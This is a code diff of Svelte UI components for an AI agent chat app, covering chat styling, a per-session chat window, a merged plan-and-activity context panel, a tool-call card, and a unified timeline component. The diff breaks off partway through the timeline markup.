letter-spacing: 0.01em;
position: relative;
display: inline-block;
}
.prose-chat :global(h2) {
font-size: 1.08em;
font-weight: 600;
margin: 1.15rem 0 0.4rem;
letter-spacing: 0.01em;
position: relative;
display: inline-block;
}
.prose-chat :global(h3) {
font-size: 1.02em;
font-weight: 600;
margin: 1.15rem 0 0.4rem;
font-size: 1.03em;
letter-spacing: 0.01em;
position: relative;
display: inline-block;
@@ -370,6 +474,13 @@
margin: 0 0 0.5rem;
font-size: 0.8125rem;
}
.prose-chat :global(.table-wrapper) {
overflow-x: auto;
margin: 0 0 0.5rem;
}
.prose-chat :global(.table-wrapper table) {
margin: 0;
}
.prose-chat :global(th) {
background: var(--muted);
font-weight: 600;
@@ -433,4 +544,51 @@
background: linear-gradient(to right, transparent, var(--primary), transparent);
opacity: 0.3;
}
/* Code copy button — global: injected via render() into {html} blocks */
.prose-chat :global(.code-block-wrapper) {
position: relative;
}
.prose-chat :global(.code-copy-btn) {
position: absolute;
top: 0.375rem;
right: 0.375rem;
display: flex;
align-items: center;
justify-content: center;
width: 1.5rem;
height: 1.5rem;
border-radius: 0.375rem;
color: var(--muted-foreground);
opacity: 0;
transition: opacity 0.15s, color 0.15s;
cursor: pointer;
border: none;
background: transparent;
}
.prose-chat :global(.code-block-wrapper:hover .code-copy-btn) {
opacity: 1;
}
.prose-chat :global(.code-copy-btn:hover) {
color: var(--foreground);
background: var(--muted);
}
/* Streaming cursor — blinking block appended after streaming text */
.stream-cursor {
display: inline-block;
width: 0.55em;
height: 1.1em;
background: var(--primary);
opacity: 0.75;
border-radius: 1px;
margin-left: 1px;
vertical-align: text-bottom;
animation: cursor-blink 0.9s ease-in-out infinite;
}
@keyframes cursor-blink {
0%, 100% { opacity: 0.75; }
50% { opacity: 0; }
}
</style>

View File

@@ -26,7 +26,7 @@
{#if question}
{@const q = question}
<div class="flex shrink-0 flex-col gap-2 border-b bg-warning/5 px-3 py-2.5">
<div class="flex flex-col gap-2 rounded-2xl border border-warning/30 bg-warning/5 px-3.5 py-3">
<div class="flex items-start gap-2">
<CircleHelpIcon class="mt-0.5 size-4 shrink-0 text-warning" />
<div class="min-w-0 flex-1">

View File

@@ -1,13 +1,13 @@
<script lang="ts">
// Floating-window content for a task/session — the per-window counterpart
// to the main Chat page (thread + rail), fully self-contained per
// Floating-window content for a task/session — self-contained per
// sessionId via chat.ts's chatFor()/loadSessionChat()/sendSessionMessage()
// and workspace.ts's workspaceFor()/startSessionWorkspace(), so several of
// these can be open (and independently live) at once without the "which
// one's on screen" guarding the main page's singleton stores need.
// these can be open (and independently live) at once.
import { onDestroy, onMount } from 'svelte'
import { Pane, Splitpanes } from 'svelte-splitpanes'
import { chatFor, loadSessionChat, sendSessionMessage, cancelSessionStream, stopSessionPolling, dismissError, chatErrors } from '$lib/stores/chat'
import { activityLogFor } from '$lib/stores/activity'
import { workspaceFor, startSessionWorkspace } from '$lib/stores/workspace'
import ChatThread from '$lib/components/ChatThread.svelte'
import TaskContextPanel from '$lib/components/TaskContextPanel.svelte'
@@ -16,20 +16,59 @@
// Svelte's `$store` auto-subscription only works on a plain identifier
// bound directly to a store, not a member expression — chatFor() returns
// an object of stores, so pull each one out into its own identifier here.
// sessionId is a stable prop (one per window mount, never changes), so
// capturing it at init is safe and intended.
// eslint-disable-next-line svelte/valid-compile
const chat = chatFor(sessionId)
const chatMessages = chat.messages
const chatStreaming = chat.streaming
const chatConnectionState = chat.connectionState
const chatError = chat.error
const chatNotFound = chat.notFound
// eslint-disable-next-line svelte/valid-compile
const sessionActivityLog = activityLogFor(sessionId)
// Started here (rather than left to TaskContextPanel's own onMount) so the
// workspace is already tracking touched entities/plan/questions before the
// context rail ever mounts — it needs that live even while the rail stays
// hidden (see hasContext below).
// eslint-disable-next-line svelte/valid-compile
const workspace = workspaceFor(sessionId)
// eslint-disable-next-line svelte/valid-compile
const touchedEntities = workspace.touched
// eslint-disable-next-line svelte/valid-compile
const openQuestion = workspace.openQuestion
let loading = $state(true)
// The context rail (Scope/Activity) is only worth its screen space once
// there's something in it — a brand-new task otherwise opens to an empty
// "entities appear here" placeholder next to an equally empty activity
// list. Show it the moment either has real content, and keep it shown
// from then on (no flicker back to hidden if e.g. touched entities later
// expire). An open question does NOT gate this anymore — it renders
// inline in the chat thread itself (see ChatThread's `question` prop
// below), not in this rail.
let hasContext = $state(false)
$effect(() => {
if (!hasContext && ($sessionActivityLog.length > 0 || $touchedEntities.length > 0)) {
hasContext = true
}
})
// startSessionWorkspace's cleanup is registered via onDestroy below rather
// than returned from this callback — onMount ignores a returned function
// once the callback is async (its return value is a Promise, not the
// cleanup itself).
const stopWorkspace = startSessionWorkspace(sessionId)
onMount(async () => {
await loadSessionChat(sessionId)
loading = false
})
onDestroy(() => stopSessionPolling(sessionId))
onDestroy(() => {
stopSessionPolling(sessionId)
stopWorkspace()
})
// Resizable right rail — sized smaller by default since task windows open
// narrower than the full page.
@@ -44,7 +83,7 @@
<p class="text-sm text-muted-foreground">Task not found.</p>
<p class="text-xs text-muted-foreground/70">It may have been deleted.</p>
</div>
{:else}
{:else if hasContext}
<Splitpanes theme="oikos-theme" dblClickSplitter={false}>
<Pane>
<ChatThread
@@ -53,6 +92,9 @@
connectionState={$chatConnectionState}
error={$chatError}
chatErrors={$chatErrors}
activityLog={sessionActivityLog}
{sessionId}
question={$openQuestion}
onSend={(text) => sendSessionMessage(sessionId, text)}
onCancel={() => cancelSessionStream(sessionId)}
onReconnect={() => loadSessionChat(sessionId)}
@@ -63,5 +105,20 @@
<TaskContextPanel {sessionId} />
</Pane>
</Splitpanes>
{:else}
<ChatThread
messages={$chatMessages}
streaming={$chatStreaming}
connectionState={$chatConnectionState}
error={$chatError}
chatErrors={$chatErrors}
activityLog={sessionActivityLog}
{sessionId}
question={$openQuestion}
onSend={(text) => sendSessionMessage(sessionId, text)}
onCancel={() => cancelSessionStream(sessionId)}
onReconnect={() => loadSessionChat(sessionId)}
onDismissError={dismissError}
/>
{/if}
</div>

View File

@@ -1,35 +1,30 @@
<script lang="ts">
import { onMount } from 'svelte'
import { Pane, Splitpanes } from 'svelte-splitpanes'
import { startWorkspace, startSessionWorkspace, planSteps, currentTask, openQuestion, touched, healthDiffs, workspaceFor, taskFor } from '$lib/stores/workspace'
import { streaming, messages, currentSession, chatFor } from '$lib/stores/chat'
import { startWorkspace, planSteps, currentTask, touched, healthDiffs, workspaceFor, taskFor } from '$lib/stores/workspace'
import { streaming, messages, chatFor } from '$lib/stores/chat'
import { activityLog, activityLogFor } from '$lib/stores/activity'
import OperatorQuestion from './OperatorQuestion.svelte'
import SessionGraph from './SessionGraph.svelte'
import ActivityTimeline from './ActivityTimeline.svelte'
import UnifiedTimeline from './UnifiedTimeline.svelte'
import ChevronDownIcon from '@lucide/svelte/icons/chevron-down'
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
import MilestoneIcon from '@lucide/svelte/icons/milestone'
import Spinner from './Spinner.svelte'
import CircleIcon from '@lucide/svelte/icons/circle'
import CircleCheckIcon from '@lucide/svelte/icons/circle-check'
import CircleXIcon from '@lucide/svelte/icons/circle-x'
import CircleSlashIcon from '@lucide/svelte/icons/circle-slash'
import CirclePauseIcon from '@lucide/svelte/icons/circle-pause'
// Omitted (main Chat page): tracks the global "current session" — one
// shared view, same as always. Passed (a floating task window's
// SessionChatWindow): this panel switches entirely to that session's own
// store bundle (workspaceFor/chatFor/activityLogFor), so several windows'
// panels can be open and live at once instead of all showing whatever
// happens to be the single global "current session".
// happens to be the single global "current session". Per-session workspace
// tracking (startSessionWorkspace) is started by SessionChatWindow itself,
// not here — it has to run even while this panel stays unmounted (see its
// hasContext gate), so only the global fallback path starts its own here.
let { sessionId = null }: { sessionId?: string | null } = $props()
onMount(() => (sessionId ? startSessionWorkspace(sessionId) : startWorkspace()))
onMount(() => (sessionId ? undefined : startWorkspace()))
const ws = $derived(sessionId ? workspaceFor(sessionId) : null)
const planStepsStore = $derived(ws ? ws.planSteps : planSteps)
const openQuestionStore = $derived(ws ? ws.openQuestion : openQuestion)
const touchedStore = $derived(ws ? ws.touched : touched)
const healthDiffsStore = $derived(ws ? ws.healthDiffs : healthDiffs)
const taskStore = $derived(sessionId ? taskFor(sessionId) : currentTask)
@@ -37,12 +32,8 @@
const streamingStore = $derived(chat ? chat.streaming : streaming)
const messagesStore = $derived(chat ? chat.messages : messages)
const activityLogStore = $derived(sessionId ? activityLogFor(sessionId) : activityLog)
// OperatorQuestion posts its answer against this id — the window's own
// session when set, otherwise whatever the main page currently has open.
const effectiveSessionId = $derived(sessionId ?? $currentSession)
let scopeOpen = $state(true)
let planOpen = $state(true)
let activityOpen = $state(true)
// Resize: each section is a Pane in one vertical Splitpanes. Sizes are
@@ -52,12 +43,12 @@
// last size so reopening restores it.
const COLLAPSED_SIZE = 6
const OPEN_MIN_SIZE = 12
let sizes = $state<(number | undefined)[]>([undefined, undefined, undefined])
let sizes = $state<(number | undefined)[]>([undefined, undefined])
// Reopening must restore a concrete number, never `undefined` — the pane
// only re-triggers the library's resize/equalize pass when `size` changes
// to a different *number*, so setting it back to `undefined` silently
// no-ops and leaves the section stuck at its collapsed height.
let savedSizes: number[] = [34, 33, 33]
let savedSizes: number[] = [34, 66]
function toggleSection(i: number, isOpen: boolean) {
if (isOpen) {
@@ -71,27 +62,12 @@
// Plan collapsed status
const planDone = $derived($planStepsStore.filter((s) => s.status === 'done').length)
const planTotal = $derived($planStepsStore.length)
const planPct = $derived(planTotal > 0 ? Math.round((planDone / planTotal) * 100) : 0)
// When there are no plan steps, the empty state depends on WHY: a task that's
// actively planning (or streaming its first turn) is genuinely waiting for one,
// but a finished task that never planned (a read-only lookup, a direct answer)
// will never get one — a perpetual "Awaiting plan…" there is misleading.
const planPhase = $derived.by<'drafting' | 'none' | 'idle'>(() => {
const st = $taskStore?.status
if (st === 'done' || st === 'failed' || st === 'abandoned') return 'none'
if (st === 'planning' || $streamingStore) return 'drafting'
return 'idle'
})
// Activity collapsed status
const activityRunning = $derived($activityLogStore.filter((e) => e.status === 'running').length)
const activityCount = $derived($activityLogStore.length)
</script>
<div class="flex h-full min-h-0 flex-col">
<OperatorQuestion sessionId={effectiveSessionId} question={$openQuestionStore} />
<Splitpanes horizontal theme="oikos-theme" dblClickSplitter={false} class="min-h-0 flex-1">
<!-- Scope -->
<Pane bind:size={sizes[0]} minSize={scopeOpen ? OPEN_MIN_SIZE : COLLAPSED_SIZE} maxSize={scopeOpen ? 100 : COLLAPSED_SIZE} class="flex flex-col">
@@ -116,150 +92,35 @@
{/if}
</Pane>
<!-- Plan -->
<Pane bind:size={sizes[1]} minSize={planOpen ? OPEN_MIN_SIZE : COLLAPSED_SIZE} maxSize={planOpen ? 100 : COLLAPSED_SIZE} class="flex flex-col">
<!-- Activity (merged plan + event log) -->
<Pane bind:size={sizes[1]} minSize={activityOpen ? OPEN_MIN_SIZE : COLLAPSED_SIZE} maxSize={activityOpen ? 100 : COLLAPSED_SIZE} class="flex flex-col">
<button
type="button"
class="flex shrink-0 items-center gap-1.5 px-3 py-2 text-left text-[11px] font-semibold uppercase tracking-wider text-muted-foreground hover:text-foreground"
onclick={() => {
toggleSection(1, planOpen)
planOpen = !planOpen
}}
>
{#if planOpen}<ChevronDownIcon class="size-3" />{:else}<ChevronRightIcon class="size-3" />{/if}
<span>Plan</span>
{#if !planOpen}
{#if planTotal > 0}
<span class="ml-auto font-normal normal-case">Step {planDone}/{planTotal}</span>
{:else if $taskStore?.goal}
<span class="ml-auto max-w-[120px] truncate font-normal normal-case">{$taskStore.goal}</span>
{:else}
<span class="ml-auto font-normal normal-case text-muted-foreground">No plan yet</span>
{/if}
{/if}
</button>
{#if planOpen}
<div class="flex min-h-0 flex-1 flex-col overflow-y-auto">
{#if $taskStore?.goal}
<div class="flex items-start gap-2 px-3 py-2">
<MilestoneIcon class="mt-0.5 size-3 shrink-0 text-primary" />
<span class="text-xs leading-snug text-foreground/90">{$taskStore.goal}</span>
</div>
{/if}
{#if planTotal > 0}
<div class="px-3 pb-2.5">
<div class="mb-1.5 flex items-baseline justify-between text-[11px]">
<span class="font-medium text-foreground">{planDone} of {planTotal} done</span>
<span class="tabular-nums text-muted-foreground">{planPct}%</span>
</div>
<div class="h-1.5 overflow-hidden rounded-full bg-muted">
<div class="h-full rounded-full bg-primary transition-all duration-500 ease-out" style="width: {planPct}%"></div>
</div>
</div>
<ol class="flex flex-col overflow-y-auto px-2 pb-2 text-[11px]">
{#each $planStepsStore as step, i (step.id)}
{@const isDone = step.status === 'done'}
{@const isRunning = step.status === 'running'}
<li class="relative flex items-start gap-2.5 rounded-md px-2 py-1.5 transition-colors {isRunning ? 'bg-primary/5' : ''}">
{#if i < $planStepsStore.length - 1}
<span class="pointer-events-none absolute bottom-[-2px] left-[13.5px] top-[22px] w-px bg-border" aria-hidden="true"></span>
{/if}
<span class="relative z-10 mt-px flex size-3.5 shrink-0 items-center justify-center rounded-full bg-background">
{#if isDone}
<CircleCheckIcon class="size-3.5 text-primary" />
{:else if isRunning}
<Spinner class="size-3.5 text-primary" />
{:else if step.status === 'failed'}
<CircleXIcon class="size-3.5 text-destructive" />
{:else if step.status === 'blocked'}
<CirclePauseIcon class="size-3.5 text-warning" />
{:else if step.status === 'skipped' || step.status === 'replaced'}
<CircleSlashIcon class="size-3.5 text-muted-foreground" />
{:else}
<CircleIcon class="size-3.5 text-muted-foreground/40" />
{/if}
</span>
<span
class="min-w-0 flex-1 leading-snug {isDone
? 'text-muted-foreground line-through decoration-muted-foreground/40'
: isRunning
? 'font-medium text-foreground'
: 'text-muted-foreground'}"
>{step.title}</span>
</li>
{/each}
</ol>
{:else if planPhase === 'drafting'}
<div class="flex flex-col items-center gap-3 px-3 py-6 text-center">
<svg viewBox="0 0 140 88" class="h-16 w-auto text-primary" fill="none">
<g stroke="currentColor" stroke-width="1.5" stroke-linecap="round">
<circle cx="16" cy="20" r="4.5" fill="currentColor">
<animate attributeName="opacity" values="0.35;1;0.35" dur="1.3s" repeatCount="indefinite" />
</circle>
<line x1="30" y1="20" x2="124" y2="20" opacity="0.4">
<animate attributeName="opacity" values="0.15;0.5;0.15" dur="1.3s" repeatCount="indefinite" />
</line>
<circle cx="16" cy="44" r="4.5" fill="currentColor">
<animate attributeName="opacity" values="0.35;1;0.35" dur="1.3s" begin="0.25s" repeatCount="indefinite" />
</circle>
<line x1="30" y1="44" x2="102" y2="44" opacity="0.4">
<animate attributeName="opacity" values="0.15;0.5;0.15" dur="1.3s" begin="0.25s" repeatCount="indefinite" />
</line>
<circle cx="16" cy="68" r="4.5" fill="currentColor">
<animate attributeName="opacity" values="0.35;1;0.35" dur="1.3s" begin="0.5s" repeatCount="indefinite" />
</circle>
<line x1="30" y1="68" x2="80" y2="68" opacity="0.4">
<animate attributeName="opacity" values="0.15;0.5;0.15" dur="1.3s" begin="0.5s" repeatCount="indefinite" />
</line>
</g>
</svg>
<p class="text-xs text-muted-foreground">Drafting a plan…</p>
</div>
{:else}
<div class="flex flex-col items-center gap-3 px-3 py-6 text-center">
<svg viewBox="0 0 140 88" class="h-16 w-auto text-muted-foreground/40" fill="none">
<g stroke="currentColor" stroke-width="1.5" stroke-linecap="round">
<circle cx="16" cy="20" r="4.5" fill="currentColor" opacity="0.7" />
<line x1="30" y1="20" x2="124" y2="20" opacity="0.35" />
<circle cx="16" cy="44" r="4.5" fill="currentColor" opacity="0.45" />
<line x1="30" y1="44" x2="102" y2="44" opacity="0.25" />
<circle cx="16" cy="68" r="4.5" fill="none" opacity="0.3" />
<line x1="30" y1="68" x2="80" y2="68" opacity="0.15" stroke-dasharray="2.5 3.5" />
</g>
</svg>
<p class="max-w-[14rem] text-xs leading-relaxed text-muted-foreground">
{planPhase === 'none' ? 'Handled directly — no plan needed' : 'No plan for this task yet'}
</p>
</div>
{/if}
</div>
{/if}
</Pane>
<!-- Activity -->
<Pane bind:size={sizes[2]} minSize={activityOpen ? OPEN_MIN_SIZE : COLLAPSED_SIZE} maxSize={activityOpen ? 100 : COLLAPSED_SIZE} class="flex flex-col">
<button
type="button"
class="flex shrink-0 items-center gap-1.5 px-3 py-2 text-left text-[11px] font-semibold uppercase tracking-wider text-muted-foreground hover:text-foreground"
onclick={() => {
toggleSection(2, activityOpen)
toggleSection(1, activityOpen)
activityOpen = !activityOpen
}}
>
{#if activityOpen}<ChevronDownIcon class="size-3" />{:else}<ChevronRightIcon class="size-3" />{/if}
<span>Event log</span>
{#if !activityOpen}
{#if $streamingStore && activityRunning > 0}
<Spinner class="size-3 text-primary" />
<span class="font-normal normal-case text-primary">{activityRunning} running</span>
<span>Activity</span>
{#if $streamingStore && activityRunning > 0}
<Spinner class="size-3 text-primary" />
{/if}
{#if planTotal > 0}
<span class="font-normal normal-case tabular-nums {planDone === planTotal ? 'text-muted-foreground' : 'text-primary'}">{planDone}/{planTotal}</span>
{/if}
{#if !activityOpen && planTotal === 0}
{#if $taskStore?.goal}
<span class="ml-auto max-w-[120px] truncate font-normal normal-case">{$taskStore.goal}</span>
{:else}
<span class="ml-auto font-normal normal-case">{activityCount || '—'} action{activityCount === 1 ? '' : 's'}</span>
<span class="ml-auto font-normal normal-case text-muted-foreground">No activity yet</span>
{/if}
{/if}
</button>
{#if activityOpen}
<div class="min-h-0 flex-1 overflow-hidden">
<ActivityTimeline entries={$activityLogStore} />
<UnifiedTimeline entries={$activityLogStore} planSteps={$planStepsStore} streaming={$streamingStore} />
</div>
{/if}
</Pane>

View File

@@ -0,0 +1,85 @@
<script lang="ts">
import { Check, ChevronRight, Loader2, Wrench, X } from '@lucide/svelte'
import type { ToolCallResult } from '$lib/types'
let { tool }: { tool: ToolCallResult } = $props()
let expanded = $state(false)
const status = $derived.by(() => {
if (tool.type === 'tool_use') return 'running'
if (tool.error) return 'error'
return 'done'
})
const statusColor = $derived.by(() => {
if (status === 'running') return 'text-primary'
if (status === 'error') return 'text-destructive'
return 'text-primary'
})
const argsSummary = $derived.by(() => {
if (!tool.args) return ''
const entries = Object.entries(tool.args)
if (entries.length === 0) return ''
const first = entries[0]
const val = typeof first[1] === 'string' ? first[1] : JSON.stringify(first[1])
return `${first[0]}: ${val.length > 60 ? val.slice(0, 60) + '…' : val}`
})
</script>
<div class="tool-card rounded-lg border border-border/60 bg-card/40 overflow-hidden transition-all">
<button
class="flex w-full items-center gap-2 px-3 py-2 text-left hover:bg-muted/40 transition-colors"
onclick={() => (expanded = !expanded)}
aria-expanded={expanded}
>
<ChevronRight class="size-3 shrink-0 text-muted-foreground transition-transform {expanded ? 'rotate-90' : ''}" />
<Wrench class="size-3.5 shrink-0 text-muted-foreground" />
<span class="font-mono text-xs font-medium text-foreground/80">{tool.name}</span>
{#if argsSummary}
<span class="ml-1 truncate text-[11px] text-muted-foreground/70">{argsSummary}</span>
{/if}
<span class="ml-auto shrink-0 {statusColor}">
{#if status === 'running'}
<Loader2 class="size-3.5 animate-spin" />
{:else if status === 'error'}
<X class="size-3.5" />
{:else}
<Check class="size-3.5" />
{/if}
</span>
</button>
{#if expanded}
<div class="border-t border-border/40 px-3 py-2 space-y-2">
{#if tool.args}
<div>
<div class="text-[10px] font-semibold uppercase tracking-wider text-muted-foreground mb-1">Args</div>
<pre class="tool-pre rounded-md bg-muted/60 p-2 text-[11px] overflow-x-auto max-h-48">{JSON.stringify(tool.args, null, 2)}</pre>
</div>
{/if}
{#if tool.result !== undefined && tool.result !== null}
<div>
<div class="text-[10px] font-semibold uppercase tracking-wider text-muted-foreground mb-1">Result</div>
<pre class="tool-pre rounded-md bg-muted/60 p-2 text-[11px] overflow-x-auto max-h-48">{JSON.stringify(tool.result, null, 2)}</pre>
</div>
{/if}
{#if tool.error}
<div>
<div class="text-[10px] font-semibold uppercase tracking-wider text-destructive mb-1">Error</div>
<pre class="tool-pre rounded-md bg-destructive/5 border border-destructive/20 p-2 text-[11px] text-destructive overflow-x-auto max-h-48">{tool.error}</pre>
</div>
{/if}
</div>
{/if}
</div>
<style>
.tool-card {
animation: tool-in 0.2s ease-out;
}
@keyframes tool-in {
from { opacity: 0; transform: translateY(-2px); }
to { opacity: 1; transform: translateY(0); }
}
</style>

View File

@@ -0,0 +1,350 @@
<script lang="ts">
import { slide } from 'svelte/transition'
import type { ActivityEntry } from '$lib/stores/activity'
import type { PlanStep } from '$lib/api'
import Spinner from './Spinner.svelte'
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
import ChevronDownIcon from '@lucide/svelte/icons/chevron-down'
import CheckIcon from '@lucide/svelte/icons/check'
import XIcon from '@lucide/svelte/icons/x'
import PauseIcon from '@lucide/svelte/icons/pause'
import SlashIcon from '@lucide/svelte/icons/slash'
import WrenchIcon from '@lucide/svelte/icons/wrench'
import MilestoneIcon from '@lucide/svelte/icons/milestone'
import SparklesIcon from '@lucide/svelte/icons/sparkles'
import HelpCircleIcon from '@lucide/svelte/icons/help-circle'
import FlagIcon from '@lucide/svelte/icons/flag'
// Merged plan + activity timeline, designed for the narrow rail:
// - one continuous vertical "backbone"; every item owns a segment of it,
// colored by state (done = filled primary, running = faint primary,
// pending/future = muted) so the line visibly fills in as work completes
// - plan steps are filled status nodes ON the backbone; their tool calls
// branch off with horizontal stubs
// - flat entries (goal/knowledge/complete/orphan tools) are milestone
// markers on the same backbone
// - the running step auto-expands and the view auto-scrolls to keep the
// current step visible while the agent works (follow mode disengages if
// the operator scrolls up, re-engages when streaming starts again)
let { entries, planSteps: steps, streaming = false }: {
entries: ActivityEntry[]
planSteps: PlanStep[]
streaming?: boolean
} = $props()
// Explicit user toggles only — default open state derives from step status
// (running = expanded, everything else = collapsed) so a step collapses
// itself the moment it finishes unless the operator pinned it open.
let stepToggles = $state(new Map<string, boolean>())
let expandedTools = $state(new Set<string>())
function stepOpen(step: PlanStep): boolean {
return stepToggles.get(step.id) ?? step.status === 'running'
}
function toggleStep(step: PlanStep) {
stepToggles.set(step.id, !stepOpen(step))
stepToggles = new Map(stepToggles)
}
function toggleTool(id: string) {
if (expandedTools.has(id)) expandedTools.delete(id)
else expandedTools.add(id)
expandedTools = new Set(expandedTools)
}
// ── Timeline model ────────────────────────────────────────────────────────
type TLItem =
| { kind: 'step'; step: PlanStep; tools: ActivityEntry[]; ts: number }
| { kind: 'entry'; entry: ActivityEntry; ts: number }
const items = $derived.by<TLItem[]>(() => {
const stepIds = new Set(steps.map((s) => s.id))
const out: TLItem[] = []
for (const s of steps) {
if (s.status === 'pending' && !entries.some((e) => e.stepSeq === s.seq)) {
// Pending steps with no activity yet still show on the timeline so
// the operator sees what's coming — but only if a plan exists.
if (steps.length > 0) {
out.push({ kind: 'step', step: s, tools: [], ts: Number.MAX_SAFE_INTEGER - s.seq })
}
continue
}
const tools = entries.filter(
(e) => e.stepSeq === s.seq && (e.type === 'tool_running' || e.type === 'tool_done' || e.type === 'tool_error')
)
const stepEntry = entries.find((e) => e.id === s.id)
const ts = stepEntry?.timestamp ?? tools[0]?.timestamp ?? Date.now()
out.push({ kind: 'step', step: s, tools, ts })
}
for (const e of entries) {
const isTool = e.type === 'tool_running' || e.type === 'tool_done' || e.type === 'tool_error'
if (isTool && e.stepSeq != null) continue // nested under its step
if (!isTool && stepIds.has(e.id)) continue // rendered as step node
out.push({ kind: 'entry', entry: e, ts: e.timestamp })
}
out.sort((a, b) => a.ts - b.ts)
return out
})
// ── Current activity + auto-scroll ────────────────────────────────────────
const currentId = $derived.by<string | null>(() => {
const runningTool = entries.find((e) => e.type === 'tool_running' && e.status === 'running')
if (runningTool) return runningTool.id
const runningStep = steps.find((s) => s.status === 'running')
if (runningStep) return runningStep.id
return null
})
let container = $state<HTMLDivElement | null>(null)
let follow = $state(true)
function onScroll() {
if (!container) return
follow = container.scrollHeight - container.scrollTop - container.clientHeight < 80
}
// A new turn re-engages follow mode even if the operator had scrolled up.
let wasStreaming = $state(false)
$effect(() => {
if (streaming && !wasStreaming) follow = true
wasStreaming = streaming
})
// Scroll to the current step/tool whenever it changes (smooth) or when new
// entries land while following (instant, to avoid scroll-queue jank).
$effect(() => {
if (!currentId || !follow || !container) return
container.querySelector(`[data-tl-id="${CSS.escape(currentId)}"]`)
?.scrollIntoView({ behavior: 'smooth', block: 'nearest' })
})
let lastEntryCount = 0
$effect(() => {
const n = entries.length
if (n === lastEntryCount) return
lastEntryCount = n
if (!follow || !container) return
const target = currentId
? container.querySelector(`[data-tl-id="${CSS.escape(currentId)}"]`)
: null
if (target) target.scrollIntoView({ behavior: 'auto', block: 'nearest' })
else container.scrollTop = container.scrollHeight
})
// ── Presentation helpers ──────────────────────────────────────────────────
// Segment geometry: the backbone's center runs at x=17.5px (node center:
// px-3 = 11.25px at the app's 15px root font-size + half of the 13px node),
// so the 1px line sits at left-17px. Each item's segment spans its full
// height so tools inside an expanded step stay on the line; first/last
// items clip theirs to their node/tool centers so the line never dangles
// past the timeline's ends.
function segClass(status: string, isFirst: boolean, isLast: boolean, expandedWithTools: boolean): string {
let color = 'bg-border'
if (status === 'done') color = 'bg-primary/60'
else if (status === 'running') color = 'bg-primary/40'
else if (status === 'failed') color = 'bg-destructive/40'
if (isFirst && isLast) return `${color} top-[13px] h-0`
if (isFirst) return `${color} top-[13px] bottom-0`
if (isLast && expandedWithTools) return `${color} top-0 bottom-[11px]`
if (isLast) return `${color} top-0 bottom-[calc(100%-13px)]`
return `${color} top-0 bottom-0`
}
function entryIcon(entry: ActivityEntry) {
switch (entry.type) {
case 'goal': return MilestoneIcon
case 'knowledge': return SparklesIcon
case 'complete': return FlagIcon
case 'question': return HelpCircleIcon
default: return WrenchIcon
}
}
function hhmm(ts: number): string {
if (!ts || ts > Number.MAX_SAFE_INTEGER - 1000) return ''
return new Date(ts).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
}
function hhmmss(ts: number): string {
if (!ts) return ''
return new Date(ts).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit' })
}
function prettyPrint(raw: string): string {
try { return JSON.stringify(JSON.parse(raw), null, 2) } catch { return raw }
}
</script>
<div class="flex h-full flex-col">
<div class="flex-1 overflow-y-auto" bind:this={container} onscroll={onScroll}>
{#if items.length === 0}
<div class="flex flex-col items-center gap-2 px-3 py-6 text-center">
<svg viewBox="0 0 64 110" class="h-14 w-auto text-muted-foreground/40" fill="none">
<line x1="32" y1="8" x2="32" y2="102" stroke="currentColor" stroke-width="1" stroke-dasharray="2.5 4" opacity="0.35" />
<circle cx="32" cy="22" r="4" fill="currentColor">
<animate attributeName="opacity" values="0.25;0.9;0.25" dur="2.4s" repeatCount="indefinite" />
</circle>
<circle cx="32" cy="55" r="4" fill="currentColor">
<animate attributeName="opacity" values="0.25;0.9;0.25" dur="2.4s" begin="0.6s" repeatCount="indefinite" />
</circle>
<circle cx="32" cy="55" r="4" fill="none" stroke="currentColor" stroke-width="1.5">
<animate attributeName="r" values="4;11;4" dur="2.4s" begin="0.6s" repeatCount="indefinite" />
<animate attributeName="opacity" values="0.6;0;0.6" dur="2.4s" begin="0.6s" repeatCount="indefinite" />
</circle>
<circle cx="32" cy="88" r="4" fill="currentColor">
<animate attributeName="opacity" values="0.25;0.9;0.25" dur="2.4s" begin="1.2s" repeatCount="indefinite" />
</circle>
</svg>
<p class="text-[11px] leading-relaxed text-muted-foreground">Waiting for activity…</p>
</div>
{:else}
<div class="flex flex-col py-1">
{#each items as item, i (item.kind === 'step' ? item.step.id : item.entry.id)}
{@const isFirst = i === 0}
{@const isLast = i === items.length - 1}
{#if item.kind === 'step'}
{@const st = item.step.status}
{@const open = stepOpen(item.step)}
{@const hasDetail = !!item.step.detail?.trim()}
{@const expandable = item.tools.length > 0 || hasDetail}
{@const expandedWithTools = open && item.tools.length > 0}
<!-- Step node on the backbone -->
<div class="relative" data-tl-id={item.step.id}>
<span class="pointer-events-none absolute left-[17px] w-px {segClass(st, isFirst, isLast, expandedWithTools)}" aria-hidden="true"></span>
<button
type="button"
class="relative flex w-full items-center gap-2 rounded px-3 py-1.5 text-left text-xs {expandable ? 'cursor-pointer hover:bg-muted/30' : 'cursor-default'} {st === 'running' ? 'bg-primary/5' : ''}"
onclick={() => expandable && toggleStep(item.step)}
aria-expanded={open}
disabled={!expandable}
>
<!-- Filled status node -->
<span class="relative z-10 flex size-3.5 shrink-0 items-center justify-center rounded-full
{st === 'done' ? 'bg-primary'
: st === 'running' ? 'bg-background'
: st === 'failed' ? 'bg-destructive'
: st === 'blocked' ? 'bg-warning/25 border border-warning'
: st === 'skipped' || st === 'replaced' ? 'bg-muted'
: 'bg-background border border-muted-foreground/40'}">
{#if st === 'running'}
<span class="absolute -inset-0.5 animate-ping rounded-full bg-primary/30"></span>
<Spinner class="relative size-3.5 text-primary" />
{:else if st === 'done'}
<CheckIcon class="size-2.5 text-primary-foreground" strokeWidth={3.5} />
{:else if st === 'failed'}
<XIcon class="size-2.5 text-destructive-foreground" strokeWidth={3.5} />
{:else if st === 'blocked'}
<PauseIcon class="size-2 text-warning" strokeWidth={3} />
{:else if st === 'skipped' || st === 'replaced'}
<SlashIcon class="size-2 text-muted-foreground" strokeWidth={3} />
{/if}
</span>
<span title={item.step.title} class="min-w-0 flex-1 leading-snug {open ? 'whitespace-normal' : 'truncate'} {st === 'done' ? 'text-muted-foreground' : st === 'running' ? 'font-medium text-foreground' : 'text-muted-foreground'}">
{item.step.title}
</span>
{#if hhmm(item.ts)}
<span class="shrink-0 text-[9px] tabular-nums text-muted-foreground/60">{hhmm(item.ts)}</span>
{/if}
{#if item.tools.length > 0}
<span class="shrink-0 text-muted-foreground/60">
{#if open}<ChevronDownIcon class="size-3" />{:else}<ChevronRightIcon class="size-3" />{/if}
</span>
{/if}
</button>
{#if expandedWithTools}
